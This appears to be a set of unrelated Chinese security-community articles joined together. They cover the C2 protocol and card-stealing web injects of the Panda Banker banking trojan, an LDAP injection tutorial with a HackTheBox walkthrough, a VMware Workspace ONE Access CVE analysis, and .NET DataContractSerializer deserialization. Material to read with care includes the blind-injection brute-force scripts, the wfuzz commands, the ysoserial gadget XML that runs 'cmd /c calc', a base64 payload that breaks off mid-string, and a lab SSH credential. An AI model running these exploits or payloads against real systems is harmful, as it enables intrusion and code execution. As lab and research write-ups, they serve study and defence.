3. 通过`HKLM\software\microsoft\windows nt\currentversion`得到`DigitalProductId`值，并计算CRC值；
4. 通过`GetVersionEx API`得到`OSVERSIONINFOEX`值，并计算CRC值；
7. 将步骤6的结果打包，并计算SHA256的值；
8. 用步骤7中得到的值的前16个字节；
9. 用下面的伪代码对步骤4和8中的结果进行XOR运算：
resultlist = []
for i in range(0, 16):
xoredvalue = the_begining_of_16bytes_from_result_of_8[i] ^ 1st_part[i % len(1st_part)]
resultlist.append(xoredvalue)
10. resultlist中的每个值都用base64编码，并将`+`, `/`,`=`替换掉。然后，根据步骤d中的公式计算mod，如果mod小于20，在第二部分末尾加上`/`。
1. a. '+' -> '-' (hyphen)
2. b. '/' -> '_' (underbar)
3. c. '=' -> '' (Nothing)
4. d. mod(A random value from Mersenne Twister, 100)
11. 将C2域名，第1部分，第2部分连接起来：`C2 domain/1st part/2nd part`。
## C2通信
### 请求
Panda Baker的POST请求参数示例如图8所示，是用32字节key的`AES-256
CBC`模式和16字节的IV加密的，process行是Panda Banker将自己注入svchost.exe的过程。`name`值在Panda
Banker payload中已预配置过了。如果有必要，恶意软件会从C2服务器接收配置数据：
图8: POST参数示例
对每个POST请求，Panda Banker会常见32字节的key和16字节的IV用于AES加密。生成的AES key用RAS
key加密，如图6。然后将用RSA加密的AES key、16字节的AES IV和AES加密的POST参数打包。然后Panda
Banker会从生成的URL的第1和第2部分和打包的内容中计算SHA256值（如图9）。最后，用base64编码所有数据：
图9: POST主体的二进制数据
### C2服务器的响应
Panda Banker的C2服务器会向受害者机器发送多层加密的二进制数据。解密步骤如下：
#### 第一层
因为来自C2服务器的响应数据是base64方式编码的。解码后的二进制格式见图10。二进制数据中的SHA256值用于完整性检查。为了解密AES加密的数据，Panda
Baker会复用POST请求中的AES key：
图10: 来自C2服务器的二进制响应数据
解密后的JSON数据如图11：
图11: 解密的第一层
#### 第二层
图11中的数据解码后，会出现另一个二进制格式，如图4所示。解密后，会出现更多的JSON数据，如图12。
图12: 解密的第二层
解码的`sign`值用于完整性检查。Panda
Banker的RSA公钥值会用于检查解码的`data`值的完整性。如果计算的签名和JSON数据的签名不匹配，解码的`data`值就会被忽略。
解密的`data`也是用base64编码的，并含有：
* 配置文件或web注入数据
* PE32（PE32++）可执行文件
第一个例子中，解码的二进制格式如图4所示。一旦解密就会发现配置文件或web注入数据。第二个例子中，解码的数据是有个PE可执行文件（动态链接库）。
### 来自C2服务器的配置
真实的C2配置数据如图13所示，其中含有传播许多插件的URL，比如`url_plugin_webinject32,
url_plugin_webinject64, url_plugin_vnc32, url_plugin_vnc64,
url_plugin_backsocks, url_plugin_grabber, url_plugin_keylogger`。
也会显示VNC注入(`inject_vnc`), 窃取的数据(`grab_pass, grab_cookie`), 登陆进程名
(`keylog_process`和 `screen_process`)的当前设定。本例中，执行键盘记录和屏幕监控的进程名为putty.exe：
图13: 来自C2服务器的配置数据
## web注入方法
Panda Banker会通过`API
hooking`拦截浏览器的web流量，将恶意脚本注入到受害者web浏览器的目标web页。也会通过移除`Content Security Policy
header`来影响web浏览器的安全。
`url_plugin_webinject32`插件就是用于web注入的。根据分析，它会hook`iexplore.exe,
microsoftedge.exe, microsoftedgecp.exe, firefox.exe, chrome.exe,
opera.exe`等使用的API。一旦浏览器从访问的URL在`url_webinjects`的配置数据中，插件就会将对应的脚本注入到web浏览器的web页面中。
一些API hooks示例如下：
影响微软浏览器的API Hooks
HttpSendRequestsW
HttpSendRequestsA
HttpSendRequestsExW
HttpSendRequestsExA
InternetReadFile
InternetReadFileExA
InternetReadFileExW
InternetQueryDataAvailable
InternetCloseHandle
HttpOpenRequestsA
HttpOpenRequestsW
HttpQueryInfoA
InternetConnectA
InternetConnectW
InternetWriteFile
影响Firefox的API Hooks
PR_Close
PR_Read
PR_Write
PR_Poll
影响Chrome / Opera的API Hooks
closesocket
WSASend
WSARecv
recv
## Web注入目标
`url_webinjects`的数据主要攻击银行和信用卡公司。图14是针对银行网站的web注入数据示例。例子中，恶意代码被注入到`<head>
tag`后，代码含有下载特定目标窃取脚本的URL，这些命令都是混淆过的，以此隐藏Panda Banker的恶意行为：
图14: 针对银行网站的注入代码
用于数据窃取的代码反混淆后，可以看出含有下面的功能：
* 注入伪造的消息（图15）
* 窃取卡号（图16）
* 收集昵称、支付限额、借记卡和贷记卡的取现限额
图15:注入代码——伪造消息
图16: 注入代码——窃取卡号
图17: 注入代码——收集昵称、支付限额、借记卡和贷记卡的取现限额
## Web注入目标分析
表2是攻击目标的国家和行业分析：
表2: 攻击目标的国家和行业
美国、加拿大和日本是Panda Banker的主要攻击国家。恶意软件主要窃取银行账号、信用卡信息和工资系统中的个人信息。Web钱包和区块信息也是工具的目标。
# 结论
Panda
Banker是一款高度混淆的、高度可配置的、活跃的恶意软件。威胁单元使用该恶意软件来窃取银行卡、信用卡信息，个人数据、web钱包和区块信息。主要的工具目标的美国、加拿大和日本。
* * * | 社区文章 |
# 浅谈LDAP注入攻击
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：ca01h@星盟
最近在HackTheBox上氪了金（肉疼:sob:），做了一些已经retired的高质量靶机，不得不说质量还是很高的。其中有一个靶机叫做 **CTF**
，难度是最高级别的insane，主要是它考察的知识点比较冷门——LDAP注入。可能很多小伙伴都没怎么听说过这个漏洞，我想主要原因还是LDAP这个协议用的比较少，而且国内CTF比赛中我也基本上没有看到有考察这个点的。在网上搜了一下，发现最近一次出现这个考点的是在[CSAW
CTF Qualification Round
2018](https://ctftime.org/event/633)比赛中，题目直接告诉你了是考LDAP注入。刚好上个星期我在星盟内部分享中，也提到了这个知识点，那么本着聊胜于无，开阔知识面的本意下（其实是偷懒？），写下这篇浅谈LDAP注入攻击的文章。
## 0x01 LDAP介绍
### 什么是LDAP
在做靶机之前，我们首先来了解一下什么是LDAP？
> 以下内容部分摘自2018 blackhat _LDAP Injection & Blind LDAP Injection_
LDAP(Lightweight Directory Access
Protocol):轻量级目录访问协议，是一种在线目录访问协议，主要用于目录中资源的搜索和查询，是X.500的一种简便的实现。
那么转换成人话就是说，LDAP是用于访问目录服务（特别是基于X.500的目录服务）的轻量级客户端服务器协议，它通过TCP/IP传输服务运行。关键的地方就在于，
**数据是存储在目录中，而不是数据库中**
。的确，目录和数据库有很多共同之处，都能存储数据、并能在一定程度进行搜索和查询。这里就有一个问题了，目录和数据库的区别在哪？
最重要的区别就是 **目录适合于存放静态数据**
，它存储的数据无论在类型和种类较之数据库中的数据都要更为繁多，包括音频、视频、可执行文件、文本等文件，另外目录中还存在目录的递归。既然是存放不同类型的静态数据，那么目录服务在进行优化后更适宜于读访问，而非写、修改等操作。
说了这么半天，感觉还是贴一张图来的更快。
上面这张图展示了LDAP的结构。我们都知道MySQL数据库中的数据都是按记录一条条记录存在表中，而LDAP是树结构的，数据存储在叶子节点上。比如要描述上图`baby`这个节点：
cn=baby, ou=marketing, ou=people, dc=mydomain, dc=org
### LDAP的基本概念
在大概知道LDAP是做什么、长什么样之后，我们再来了解一下LDAP的一些基本概念，主要是三个专有名词：条目（Entry）、属性（Attribute）、对象类（ObjectClass）。
**条目**
条目，也叫记录项，是LDAP中最基本的颗粒，就想字典中的词条或者是数据中的记录。通常对LDAP的添加、删除、修改、搜索都是以条目为基本单位。
**属性**
每个条目都可以有很多属性（Attribute），比如常见的人都有姓名、地址、电话等属性。每个属性都有名称及对应的值，属性值可以有单个、多个，比如你有多个邮箱。
此外，LDAP为人员组织机构中常见的对象都设计了属性(比如commonName，surname)。
**对象类**
对象类是属性的集合，LDAP预想了很多人员组织机构中常见的对象，并将其封装成对象类。比如人员（person）含有姓（sn）、名（cn）、电话(telephoneNumber)、密码(userPassword)等属性，单位职工(organizationalPerson)是人员(person)的继承类，除了上述属性之外还含有职务（title）、邮政编码（postalCode）、通信地址(postalAddress)等属性。
通过对象类可以方便的定义条目类型。每个条目可以直接继承多个对象类，这样就继承了各种属性。如果2个对象类中有相同的属性，则条目继承后只会保留1个属性。对象类同时也规定了哪些属性是基本信息，即必要属性和可选属性。
是不是听起来和面向对象语言有点相似，跟Java中的Object类一样，LDAP的根对象类就叫做top。
上述就是笔者对LDAP数据结构的简单介绍了，LDAP既然主要用于搜索查询，那它是怎么查询的呢？
### LDAP的基本语法
LDAP的语法非常简单，一看就会，再看就懂。
> 以下部分内容摘自<https://blog.csdn.net/leader_ww/article/details/4028672>
**=（等于）**
例如，如果希望查找属性`giveNname`值为John的所有对象，可以使用`(givenName=John)`。这会返回对应条件的所有对象。
**& （逻辑与）**
例如，如果希望查找居住在 Dallas
并且`givenName`为John的所有对象，可以使用`(&(givenName=John)(l=Dallas))`。
请注意，每个参数都被属于其自己的圆括号括起来。整个 LDAP 语句必须包括在一对主圆括号中。操作符 &
表明，只有每个参数都为真，才会将此筛选条件应用到要查询的对象。
**|（逻辑或）**
例如，如果希望查找属性`givenName`值为Jhon或者Jack的所有对象，可以使用`(|(givenName=Jhon)(givenName=Jack))`。
**!（逻辑非）**
例如，如果需要查找`givenName`为John的对象以外的所有对象。则应使用如下语句：`(!givenName=John)`
***（通配符）**
可使用通配符表示值可以等于任何值。使用它的情况可能是：您希望查找具有职务头衔的所有对象。为此，可以使用`(title=*)`，这会返回`title`属性包含内容的所有对象。
另一个例子是：您知道某个对象的`givenName`属性的开头两个字母是“Jo”。那么，可以使用`(givenName=Jo*)`进行查找，这会返回`givenName`以`Jo`开头的所有对象。
Over~~LDAP的语法是不是很简单。
说了这么多，可能很多小伙伴还是心存疑问，已经部署成功的LDAP到底是长什么样子？
我们可以通过Google Hacking `intitle:”phpLDAPadmin”
inurl:cmd.php`来检索一下，真实的运行的LDAP服务的网站，这个地方我就贴一张图示范一下，包含了上面提到的所有概念。
## 0x02 LDAP注入攻击面
其实它的攻击手法和SQL注入的原理非常相似，在有漏洞的环境中，这些查询参数没有得到合适的过滤，因而攻击者可以注入任意恶意代码。由于比较简单，我这里就走马观花的方式来过一遍LDAP注入的不同类型。
>
> 以下部分内容摘自<https://wooyun.js.org/drops/LDAP%E6%B3%A8%E5%85%A5%E4%B8%8E%E9%98%B2%E5%BE%A1%E5%89%96%E6%9E%90.html>
### AND注入
这种情况，应用会构造由”&”操作符和用户引入的的参数组成的正常查询在LDAP目录中搜索，例如：
(&(parameter1=value1)(parameter2=value2))
这里Value1和value2是在LDAP目录中搜索的值，攻击者可以注入代码，维持正确的过滤器结构但能使用查询实现他自己的目标。
比如说，为了验证客户端提供的user/password对，构造如下LDAP过滤器并发送给LDAP服务器：
(&(USER=Uname)(PASSWORD=Pwd))
如果攻击者输入一个有效地用户名，如r00tgrok，然后再这个名字后面注入恰当的语句，password检查就会被绕过。
使得Uname=slisberger)(&))，引入任何字符串作为Pwd值，构造如下查询并发送给服务器：
(&(USER= slisberger)(&)(PASSWORD=Pwd))
### OR注入
这种情况，应用会构造由”|”操作符和用户引入的的参数组成的正常查询在LDAP目录中搜索，例如：
(|(parameter1=value1)(parameter2=value2))
这里Value1和value2是在LDAP目录中搜索的值，攻击者可以注入代码，维持正确的过滤器结构但能使用查询实现他自己的目标。
类似的，加入现在用于展示可用资源的查询为：
(|(type=Rsc1)(type=Rsc2))
Rsc1和Rsc2表示系统中不同种类的资源。如果攻击者输入`Rsc=printer)(uid=*)`，则下面的查询被发送给服务器：
(|(type=printer)(uid=*))(type=scanner)
这样也会造成注入的产生。
### 盲注
SQL注入中有盲注，LDAP中也存在这种问题，包括下面介绍到的靶机用到的也是盲注的手法。
假设攻击者可以从服务器响应中推测出什么，尽管应用没有报出错信息，LDAP过滤器中注入的代码却生成了有效的响应或错误。攻击者可以利用这一行为向服务器问正确的或错误的问题。
还是用一个例子来说明。
假设一个Web应用想从一个LDAP目录列出所有可用的Epson打印机，错误信息不会返回，应用发送如下的过滤器：
(&(objectClass=printer)(type=Epson*))
使用这个查询，如果有可用的Epson打印机，其图标就会显示给客户端，否则没有图标出现。如果攻击者进行LDAP盲注入攻击
*)(objectClass=*))(&(objectClass=void
Web应用会构造如下查询：
(&(objectClass=*)(objectClass=*))(&(objectClass=void)(type=Epson*))
**仅第一个LDAP过滤器会被处理** ：
(&(objectClass=*)(objectClass=*))
那么这样就和我们查询的初衷相违背了。
接下来就是这篇文章的重头戏了，我们主要从这个靶机中学到两点：
* 怎么发现LDAP注入漏洞
* 如何利用LDAP注入漏洞
## 0x03 从HTB靶机中学习LDAP注入
### Initial Enunciation
拿到靶机先用Nmap扫一下端口
# Nmap 7.80 scan initiated Fri Jul 10 10:50:40 2020 as: nmap -sC -sV -oN ctf 10.10.10.122
Nmap scan report for ctf.htb (10.10.10.122)
Host is up (1.8s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 fd:ad:f7:cb:dc:42:1e:43:7d:b3:d5:8b:ce:63:b9:0e (RSA)
| 256 3d:ef:34:5c:e5:17:5e:06:d7:a4:c8:86:ca:e2:df:fb (ECDSA)
|_ 256 4c:46:e2:16:8a:14:f6:f0:aa:39:6c:97:46:db:b4:40 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul 10 11:03:44 2020 -- 1 IP address (1 host up) scanned in 783.74 seconds
查看80端口
大概的意思就是让我们尝试去登录这个系统，但是不能用SQLmap或者Dirbuster去暴力猜解用户名和密码。
再去登录界面看一下：
提示我们是一个OTP，即One Time Password，一般而言是1分钟更新一次。
查看源码，发现有一个Hint
> 如果比较熟悉LDAP的话，这里的两个名词schema和existing attribute已经提示了是关于LDAP注入。
作者用一个已知的属性去存储了81位的token string，Google搜一下`token string (81 digits)`。
> <https://www.systutorials.com/docs/linux/man/1-stoken/>
可以看到一个关键的地方，`Pure numeric (81-digit) "ctf" (compressed token format)
strings`，和靶机的题目相契合，现在就有一点思路了，应该要去找到这个81位纯数字的token，然后用stoken工具去生成OTP。那么主要是找到token，唯一可以利用的就是这个登录框了。
先随便用某个用户名和密码登录`admin:1234`
返回`User admin not found`，再用SQL注入的万能密码试一试
直接是没有任何显示，应该是对一些特殊字符有黑名单过滤。Fuzz一下过滤了一些什么字符
wfuzz -c --hw 233 -d 'inputUsername=FUZZ&inputOTP=1234' -w special-chars.txt 10.10.10.122/login.php
> —hw 233 代表过滤掉形如`User xxx not found`的返回信息。
我们发现`+`和`&`返回的是232 Words，但是在页面测试一下
发现返回的还是`User + not found`或者`User & not found`，这样的话应该是233 Words，而不是Wfuzz返回的232
Words。
我们尝试把这些特殊字符二次URL编码，看Web应用是否还能解析，用seclists中的doble_uri_hex.txt作为字典
wfuzz -c --hw 233 -d 'inputUsername=FUZZ&inputOTP=1234' -w doble-uri-hex.txt 10.10.10.122/login.php
最后Fuzz出来的被过滤的字符就是
%2500 ---> %00
%2528 ---> (
%2529 ---> )
%252a ---> *
%255c ---> \
这些被过滤的字符就是LDAP注入需要过滤的所有字符，再结合`login.php`页面源代码中的hint，可以确定是LDAP注入。
### Getting User Access
先来看LDAP注入的最基本形式
(&
(password=1234)
(uid=ca01h%00)
)
具体到这个靶机的话，我们需要猜解括号的个数。运用类似盲注的思想，如果注入成功，那么就会返回`User ca01h not found`。
假设只有一个括号：
假设有两个括号：
假设有三个括号：
当尝试到三个括号用于闭合时，成功返回了`User ca01h%29%29%29%00 not found`，那么这个登录框的LDAP查询的基本形式就是
(&
(&
(password=1234)
(uid=ca01h)))%00
)
(&|
(other comparing)
)
)
接着，我们再回头去看一下Fuzz出来的被过滤的字符，其中`%25%2a`返回的消息长度为231 Words
发现回显的消息是`Cannot login`，说明可以用`*`通配符来盲注用户名，脚本如下：
#!/usr/bin/env python3
### username_burp.py
import sys
import time
from string import ascii_lowercase
from urllib.parse import quote_plus
import requests
URL = 'http://10.10.10.122/login.php'
username, done = '', False
print()
while not done:
for c in ascii_lowercase:
payload = username + c + quote_plus('*')
data = {
'inputUsername': payload,
'inputOTP': '1234'
}
resp = requests.post(URL, data=data)
if 'Cannot login' in resp.text:
username += c
break
sys.stdout.write(f'\r{username}{c}')
time.sleep(0.2)
else:
done = True
print(f'[+] Username: {username} \n')
用户名为`ldapuser`
知道了用户名之后，我们就要去获取生成OTP的81位token，通过页面源代码的提示，这个token存储在某一个LDAP默认已经存在的属性当中。而默认的属性可以在[PayloadsAllTheThings](https://www.youtube.com/watch?v=51JQg202csw)中找到：
c
cn
co
commonName
dc
facsimileTelephoneNumber
givenName
gn
homePhone
id
jpegPhoto
l
mail
mobile
name
o
objectClass
ou
owner
pager
password
sn
st
surname
uid
username
userPassword
如果不想写脚本的话用wfuzz来Fuzz靶机的LDAP中存在的属性可能会更快一些，但还是要先找到注入的形式：
(&
(&
(password=1234)
(uid=ldapuser)
(FUZZ=*)
)
(&|
(other comparing)
)
)
此外还要把注入的字符`ldapuser)(FUZZ=*`进行二次URL编码，编码之后的结果`ldapuser%2529%2528FUZZ%253d%252a`。
wfuzz -c --hw 233 -d 'inputUsername=ldapuser%2529%2528FUZZ%253d%252a&inputOTP=1234' -w LDAP_attributes.txt http://10.10.10.122/login.php
我们Fuzz出来了这么些属性是存在于靶机的LDAP服务中的，现在的工作就是一个一个的属性来猜解，属于一些重复性的工作，就不在这里过多赘述了，最后可以找到token是存储于pager属性中。接着写脚本用来burp81位token
#!/usr/bin/python3
# pager_burp.py
import requests
import sys
from time import sleep
from string import digits
token = ""
URL = "http://10.10.10.122/login.php"
attribute = "pager"
loop = 1
while loop > 0:
for digit in digits:
token = token
# ldapuser)(pager=<token>)*
payload = f"ldapuser%29%28{attribute}%3d{token}{digit}%2a"
data = {"inputUsername": payload, "inputOTP": "1234"}
r = requests.post(URL, data=data)
sys.stdout.write(f"\rToken: {token}{digit}")
sleep(0.5)
if b"Cannot login" in r.content:
token += digit
break
elif digit == "9":
loop = 0
break
print(f'[+] Token: {token} \n')
这里值得注意的是需要删掉最后的一个9，所以最后的token就是：
285449490011357156531651545652335570713167411445727140604172141456711102716717000
接着用stoken工具导入token
生成OTP
成功登录后，跳转到`page.php`页面，可以执行命令
Damn it…..提示我们`ldapuser`权限不够不能执行命令，这里有两种办法：
* 对`group`属性进行注入，即把后面group属性的filter截断
(&
(&
(pager=<token>)
(uid=ldapuser)))%00
)
(|
(group=root)
(group=adm)
)
)
* 使用`*`通配符作为用户名登录
这里演示一下第一种方案，payload直接放到burp中
ldapuser%2529%2529%2529%2500
再去执行ls命令
读取page.php文件：
SSH登录：`fdapuser:e398e27d5c4ad45086fe431120932a01` | 社区文章 |
**作者：xxhzz@星阑科技PortalLab
原文链接：<https://mp.weixin.qq.com/s/-NW2gjwCP5R_UwCa7eDc_A>**
## 前言
在此前分析了CVE-2022-22972 VMware Workspace ONE Access和CVE-2022-22954 VMware
Workspace ONE Access SSTI
RCE之后，发现当时的安全公告中同时披露了很多cve漏洞，其中就包括CVE-2022-22955和CVE-2022-22957，之前漏洞环境也一直还在，也正好再学习分析一波。
## 漏洞描述
从4月6号的漏洞公告（<https://www.vmware.com/security/advisories/VMSA-2022-0011.html>）显示，VMware
Workspace ONE Access 在 OAuth2 ACS
框架中有两个身份验证绕过漏洞，CVE-2022-22955就是其中一个，攻击者可通过获取OAuth2客户端的激活码，激活OAuth2客户端以此绕过身份验证；而CVE-2022-22957属于JDBC注入导致的远程代码执行，具有管理访问权限的攻击者通过可控参数构造恶意JDBC
URL触发反序列化，从而执行任意命令获取系统权限。
## 利用范围
产品利用范围可参考<https://www.vmware.com/security/advisories/VMSA-2022-0011.html>
## 漏洞分析
### 环境搭建
漏洞环境使用的是VMware Workspace ONE Access 21.08.0.1 OVA
具体搭建可参考<https://mp.weixin.qq.com/s/zVYQQgDjcwJKAnX8SZJ5Cw>
### 分析复现
**CVE-2022-22955 OAuth2TokenResourceController ACS 身份验证绕过**
定位com.vmware.horizon.rest.controller.oauth2.OAuth2TokenResourceController#generateActivationToken
存在路径：/generateActivationToken/{id}
在generateActivationToken方法中将为oauth2客户端生成激活码activationToken
接着在com.vmware.horizon.rest.controller.oauth2.OAuth2TokenResourceController#activateOauth2Client上方注解说明得很清楚，通过交换activationToken也就是前面获取到的激活码来激活oauth2客户端，获取
client ID 和 client secret，用于/SAAS/auth/oauthtoken做身份认证。
其实也就是获取到client ID 和 client secret后就可以进行身份认证的绕过。
那如果不存在如上分析的 OAuth2 客户端，也就无法利用。
在默认情况下，VMware Workspace ONE Access会安装两个内部客户端。
在VMware Workspace ONE
Access安装过程中，会调用com.vmware.horizon.rest.controller.system.BootstrapController类进行初始化。
本质上会导致com.vmware.horizon.rest.controller.oauth2.OAuth2TokenResourceController#createTenant调用createDefaultServiceOAuth2Client函数，从而创建系统范围内的oauth2
客户端。
通过如上分析进行漏洞复现，看看实际效果。
首先通过/generateActivationToken/{id}，获取oauth2客户端激活码。
再通过交换activation激活码来激活oauth2客户端，获取a client ID 和 client secret
最后使用 client ID 和 client secret做身份认证，并获取到可用jwt token
至此，可通过获取到的jwt token进行身份验证的绕过。
**CVE‐2022‐22957 VMware Workspace ONE Access JDBC注入漏洞**
VMware Workspace ONE Access 默认安装PostgreSQL数据库。
代码定位到com.vmware.horizon.rest.controller.system.DBConnectionCheckController.class
存在doCheck函数。
获取到jdbcUrl、dbUsername、encryptedPwd（加密后dbPassword）后调用dbConnectionCheckService.checkConnection
com.vmware.horizon.datastore.impl.
DbConnectionCheckServiceLmpl#checkConnection中将会调用testConnection
而在testConnection中会继续调用FactoryHelper.getConnection
在FactoryHelper.getConnection中最终调用DriverManager.getConnection用于获取数据库的连接，而其中的jdbc
URL完全可控。
这就导致了jdbc注入，从而任意命令执行。
后续利用可参考 <https://srcincite.io/blog/2022/08/11/i-am-whoever-i-say-i-am-infiltrating-vmware-workspace-one-access-using-a-0-click-exploit.html>
## 修复建议
根据官方解决方案<https://kb.vmware.com/s/article/88098>进行修复。
## 参考材料
1.<https://www.vmware.com/security/advisories/VMSA-2022-0011.html>
2.<https://srcincite.io/blog/2022/08/11/i-am-whoever-i-say-i-am-infiltrating-vmware-workspace-one-access-using-a-0-click-exploit.htm>
3.<https://su18.org/post/jdbc-connection-url-attack/>
4.<https://kb.vmware.com/s/article/88098>
* * * | 社区文章 |
# DataContractSerializer
使用提供的数据协定，将对象序列化和反序列化为 XML 流或文档，多用于序列化和反序列化 Windows Communication Foundation
(WCF) 消息中发送的数据。
# demo
DataContractSerializer位于System.Runtime.Serialization命名空间，继承自抽象类XmlObjectSerializer。有多个序列化相关方法。
看一个官网文档给出的demo
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Xml;
namespace DataContractDeserialize
{
// You must apply a DataContractAttribute or SerializableAttribute
// to a class to have it serialized by the DataContractSerializer.
[DataContract(Name = "Customer", Namespace = "http://www.contoso.com")]
class Person
{
[DataMember()]
public string FirstName;
[DataMember]
public string LastName;
[DataMember()]
public int Age;
public Person(string newfName, string newLName, int age)
{
FirstName = newfName;
LastName = newLName;
Age = age;
}
}
class Program
{
static void Main(string[] args)
{
try
{
WriteObject("DataContractSerializerExample.xml");
ReadObject("DataContractSerializerExample.xml");
}
catch (SerializationException serExc)
{
Console.WriteLine("Serialization Failed");
Console.WriteLine(serExc.Message);
}
catch (Exception exc)
{
Console.WriteLine("The serialization operation failed: {0} StackTrace: {1}",
exc.Message, exc.StackTrace);
}
finally
{
Console.WriteLine("Press <Enter> to exit....");
Console.ReadLine();
}
}
public static void WriteObject(string fileName)
{
Console.WriteLine("Creating a Person object and serializing it.");
Person p1 = new Person("bill", "gates", 100);
FileStream writer = new FileStream(fileName, FileMode.Create);
DataContractSerializer ser = new DataContractSerializer(typeof(Person));
ser.WriteObject(writer, p1);
writer.Close();
}
public static void ReadObject(string fileName)
{
Console.WriteLine("Deserializing an instance of the object.");
FileStream fs = new FileStream(fileName, FileMode.Open);
XmlDictionaryReader reader = XmlDictionaryReader.CreateTextReader(fs, new XmlDictionaryReaderQuotas());
DataContractSerializer ser = new DataContractSerializer(typeof(Person));
// Deserialize the data and read it from the instance.
Person deserializedPerson = (Person)ser.ReadObject(reader, true);
reader.Close();
fs.Close();
Console.WriteLine(String.Format("{0} {1}, Age: {2}", deserializedPerson.FirstName, deserializedPerson.LastName, deserializedPerson.Age));
}
}
}
代码关键点在于`new
DataContractSerializer(typeof(Person))`指定序列化对象类型Type，然后调用ReadObject()和WriteObject()进行序列化反序列化。
通过特性DataContract标记类为可被DataContractSerializer序列化处理，DataMember特性用于类成员。生成的xml如下
<Customer xmlns="http://www.contoso.com" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><Age>100</Age><FirstName>bill</FirstName><LastName>gates</LastName></Customer>
另外，官方文档指出在DataContractSerializer部分信任模式下运行，在反序列化期间，不调用目标对象的构造函数。
# 攻击链
yso中对于DataContractSerializer有多个链支持，比如ObjectDataProvider、Principal系列和Identity系列。下文讲解ObjectDataProvider和SessionViewStateHistoryItem
## ObjectDataProvider
使用yso生成
<?xml version="1.0"?>
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]],System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL xmlns="http://schemas.datacontract.org/2004/07/System.Data.Services.Internal"
xmlns:c="http://www.w3.org/2001/XMLSchema"
xmlns:i="http://www.w3.org/2001/XMLSchema-instance"
xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/"
>
<ExpandedElement z:Id="ref1" >
<__identity i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System"/>
</ExpandedElement>
<ProjectedProperty0 xmlns:a="http://schemas.datacontract.org/2004/07/System.Windows.Data">
<a:MethodName>Start</a:MethodName>
<a:MethodParameters xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<b:anyType i:type="c:string">cmd</b:anyType>
<b:anyType i:type="c:string">/c calc</b:anyType>
</a:MethodParameters>
<a:ObjectInstance z:Ref="ref1"/>
</ProjectedProperty0>
</ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL>
</root>
该链原理在之前的文章中讲过了，不再赘述。示例代码
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Xml;
namespace DataContractDeserialize
{
class Program
{
static void Main(string[] args)
{
ReadObject("DataContractSerializerExample.xml");
Console.ReadKey();
}
public static void ReadObject(string fileName)
{
string xml = File.ReadAllText(fileName);
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(xml);
XmlNode rootNode = xmlDocument.SelectSingleNode("root");
XmlNode typeNode = rootNode.Attributes.GetNamedItem("type");
DataContractSerializer dataContractSerializer = new DataContractSerializer(Type.GetType(typeNode.InnerText));
dataContractSerializer.ReadObject(new XmlTextReader(new StringReader(rootNode.InnerXml)));
}
}
}
在GitHub上也找到了一些类似的写法
<https://github.com/waratek/Spiracle.NET/blob/be4fbb387370fb9764cdf9634f1d38cade63eb44/WebSite/Deserialization.aspx.cs#L63>
## SessionViewStateHistoryItem
ysoserial.net中生成的payload如下
<root type="System.Web.UI.MobileControls.SessionViewState+SessionViewStateHistoryItem, System.Web.Mobile, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"><SessionViewState.SessionViewStateHistoryItem xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/" xmlns="http://schemas.datacontract.org/2004/07/System.Web.UI.MobileControls">
<s i:type="x:string" xmlns="">/wEykQcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAACzBTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi0xNiI/Pg0KPE9iamVjdERhdGFQcm92aWRlciBNZXRob2ROYW1lPSJTdGFydCIgSXNJbml0aWFsTG9hZEVuYWJsZWQ9IkZhbHNlIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiB4bWxuczpzZD0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uRGlhZ25vc3RpY3M7YXNzZW1ibHk9U3lzdGVtIiB4bWxuczp4PSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCI+DQogIDxPYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQogICAgPHNkOlByb2Nlc3M+DQogICAgICA8c2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgICAgIDxzZDpQcm9jZXNzU3RhcnRJbmZvIEFyZ3VtZW50cz0iL2MgY2FsYyIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0i